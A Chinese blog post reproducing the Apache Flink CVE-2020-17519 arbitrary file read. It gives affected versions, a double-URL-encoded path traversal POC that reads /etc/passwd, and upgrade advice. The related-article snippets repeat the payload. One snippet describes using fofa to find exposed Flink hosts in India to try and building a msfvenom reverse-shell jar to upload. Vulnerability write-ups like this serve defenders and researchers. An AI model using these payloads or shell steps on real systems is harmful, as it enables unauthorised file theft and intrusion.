漏洞复现 Apache Flink CVE-2020-17519 任意文件读取漏洞

最新推荐文章于 2025-06-14 12:28:47 发布

god_Zeo

最新推荐文章于 2025-06-14 12:28:47 发布

阅读量808

点赞数

CC 4.0 BY-SA版权

分类专栏： WEB 漏洞复现和分析

本文链接：https://blog.csdn.net/god_zzZ/article/details/112286083

WEB 漏洞复现和分析专栏收录该内容

54 篇文章

订阅专栏

Apache Flink是一款开源流处理框架，但在1.11.0、1.11.1和1.11.2版本中存在CVE-2020-17519漏洞，攻击者能通过JobManager的REST API读取任意文件。影响版本包括1.11.0、1.11.1和1.11.2。漏洞复现POC展示了如何利用该漏洞读取/etc/passwd。官方建议所有用户升级到最新版本以修复此问题。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 漏洞简介

Apache Flink

Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。

CVE-2020-17519 任意文件读取漏洞

Apache Flink 1.11.0中引入了一项更新，该更新在1.11.1及更高的版本和1.11.2中发布。

该项更新允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件

0x02 影响版本

1.11.0
1.11.1
1.11.2

0x03 漏洞复现

POC:

http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

0x05 修复建议

所有用户升级最新版

https://flink.apache.org/downloads.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

god_Zeo

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

[ vulhub漏洞复现篇 ] Apache Flink目录遍历(CVE-2020-17519)

qq_51577576的博客

09-26

3755

[ vulhub漏洞复现篇 ] Apache Flink目录遍历 2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞，漏洞之一就是Apache Flink目录遍历漏洞(CVE-2020-17519)。 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，攻击者可通过REST API使用../跳目录实现系统任意文件读取。

Apache Flink -任意文件写入漏洞复现（CVE-2020-17518）

0xSec

01-11

1736

Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark类似）

参与评论您还未登录，请先登录后发表或查看评论

Apache Flink漏洞（CVE-2020-17519）复现

玄道的网安博客

01-06

5977

简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。漏洞概述 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。影响版本 1.11.0、1.11.1、1.11.2 环境搭建使用vulhub进行安装 Vulhub地址： https://github.com/vulhu...

[漏洞预警]Apache Flink 高危漏洞预警(CVE-2020-17518 CVE-2020-17519)

Matrix42

01-07

2259

2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞： CVE-2020-17519：攻击者可通过REST API使用…/跳目录实现系统任意文件读取； CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。 1. 漏洞描述 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历

CTF题目：Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

最新发布

Liu_Bruce的博客

06-14

1539

本文分析了Apache Flink目录遍历漏洞CVE-2020-17519的利用过程。通过构造双重URL编码的路径遍历Payload（如..%252f），成功绕过路径过滤，读取了系统敏感文件/etc/passwd，最终在/tmp/flag.txt获取目标flag。漏洞根源在于Flink未对路径参数进行规范化校验，导致攻击者可以通过双重解码跳转目录。修复方案包括升级版本或添加路径规范化检查。本文完整演示了绕过技巧、敏感文件定位思路和漏洞利用链，对安全研究和CTF实战具有指导意义。

Apache Flink CVE-2020-17519

weixin_45682070的博客

02-04

309

fofa搜索Apache Flink app="APACHE-Flink" &&country="IN" 未授权任意上传jar包导致远程代码执行，找一个阿三的站试试 1：上传生成好的jar包 msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=4568 -f jar > main.jar 上传jar包之后监听端口 use exploit/multi/handler set payload java/shell/reve

读取正在写入的文件_Apache Flink 任意文件读取与任意文件写入漏洞

weixin_42512183的博客

01-27

245

0x01漏洞简述近日，360漏洞云监测到Apache Flink官方发布了安全更新，修复了两个高危漏洞。漏洞编号分别为：CVE-2020-17518和CVE-2020-17519，漏洞等级：高危。0x02漏洞影响范围Apache Flink 1.5.1 ~ 1.11.20x03安全版本Apache Flink 1.12.0Apache Flink 1.11.30x04漏洞详情Apach...

CVE-2020-17519:Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)

05-30

使用方法&免责声明该脚本为Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)。使用方法：Python CVE-2020-17519.py urls.txt urls.txt 中每个url为一行，漏洞地址输出在vul.txt中影响版本： Apache Flink 1.11.0、1.11.1、1.11.2 工具仅用于安全人员安全测试，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责

Apache Flink CVE-2020-17518/CVE-2020-17519 文件操作漏洞复现

m0_48520508的博客

01-21

609

0x00简介 Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎，Flink提供了诸多更高抽象层的API以便用户编写分布式任务。 0x01漏洞概述 CVE-2020-17519 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.

Apache Flink CVE-2020-17518-id：L.pdf

04-30

### Apache Flink CVE-2020-17518 任意文件写入漏洞详解 #### 漏洞概述 CVE-2020-17518 是一个存在于 Apache Flink 中的安全漏洞，它允许远程攻击者通过 REST API 目录遍历来实现任意文件写入的功能。这一漏洞在 ...

Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现

Senimo

07-28

1192

Apache Flink jobmanager/logs 目录穿越漏洞 CVE-2020-17519 漏洞复现一、漏洞描述二、漏洞影响三、漏洞复现1、环境搭建2、漏洞复现四、漏洞POC五、参考链接一、漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0 中引入的更改（以及在 1.11.1 和1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取JobManager本地文件系统上的任何文件。访问仅限于

CVE-2020-17519:CVE-2020-17519猎豹

04-17

CVE-2020-17519 CVE-2020-17519 Cheetah语言版，支持批量扫描。将ip.txt复制到/script/漏洞探测/Apache/文件夹下，打开Wker主程序

Apache Flink -任意文件读取漏洞（CVE-2020-17519）

chaojixiaojingang

01-06

1287

1.漏洞描述 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 2.影响版本 1.11.0 1.11.1 1.11.2 3.POC /jobmanager/logs/..%252f..%252f..%252f..%252f..%252...

Apache Flink 目录遍历漏洞 CVE-2020-17519

m0_54323635的博客

08-31

647

2021年01月06日，360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞的风险通告，漏洞编号为CVE-2020-17518,CVE-2020-17519，漏洞等级：高危，漏洞评分：8.5。Apache Flink 1.11.0 中引入的一项更改（也在 1.11.1 和 1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。

vulhub漏洞复现-Apache Flink(CVE-2020-17518 CVE-2020-17519)任意文件上传/读取

遇事不决冲冲冲

11-01

3817

Apache Flink Apache Flink 是一个分布式系统，它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器，例如 Hadoop YARN、 Apache Mesos 和 Kubernetes，但同时也可以作为独立集群运行。 CVE-2020-17518 思路 Apache Flink 控制面板的Submit New Job处存在任意文件上传，利用REST API，可以修改HTTP头，将上传的文件写入到本地文件系统上的任意位置漏洞复现上传后抓包进入后台查看 CV

Apache Flink(CVE-2020-17519)路径遍历漏洞复现_附POC和批量检测脚本

深耕网络安全领域，聚焦护网行动（HW）、渗透测试、等级保护（等保）、CTF 竞赛四大核心方向，提供技术干货、实战经验与行业洞察。

01-06

1071

声明本文仅用于技术交流，请勿用于非法用途由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。 Apache Flink 是高效和分布式的通用数据处理平台。 Apache Flink 声明式的数据分析开源系统，结合了分布式 MapReduce 类平台的高效，灵活的

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

spinage的博客

06-06

1119

Apache Flink REST API 存在任意文件读取漏洞（CVE-2020-17519，CVSS 7.5），影响1.11.0-1.11.2版本。该漏洞源于JobManager的REST接口未对/jobmanager/logs/<filename>路径进行规范化校验，攻击者可通过双重URL编码（%252f）绕过防护，读取系统敏感文件（如/etc/passwd）。官方在1.11.3/1.12.0版本中通过normalize()路径标准化和边界校验修复漏洞。临时缓解建议包括网络隔离、代理过滤和启用认证。

漏洞复现----12、Apache Flink目录穿越漏洞（CVE-2020-17519 ）

七天

11-10

3006

文章目录一、漏洞简介二、漏洞复现一、漏洞简介 Apache Flink 1.11.0中引入的更改，允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。但是访问仅限于JobManager进程可访问的文件。影响版本： 1.11.0、1.11.1、1.11.2 二、漏洞复现 Payload： 192.168.198.132:8081/#/job-manager/logs/..%252f..%252f..%252f..%252f..%252f..%252f

Apache Flink任意文件读取(CVE-2020-17519)

m0_65150886的博客

01-29

343

Apache Flink 功能强大，支持开发和运行多种不同种类的应用程序。它的主要特性包括：批流一体化、精密的状态管理、事件时间支持以及精确一次的状态一致性保障等。Flink不仅可以运行在包括YARN、Mesos、Kubernetes在内的多种资源管理框架上，还支持在裸机集群上独立部署。事实证明，Flink已经可以扩展到数千核心，其状态可以达到TB级别，且仍能保持高吞吐、低延迟的特性。Apache Flink 是一个框架和分布式处理引擎，用于在无边界和有边界数据流上进行有状态的计算。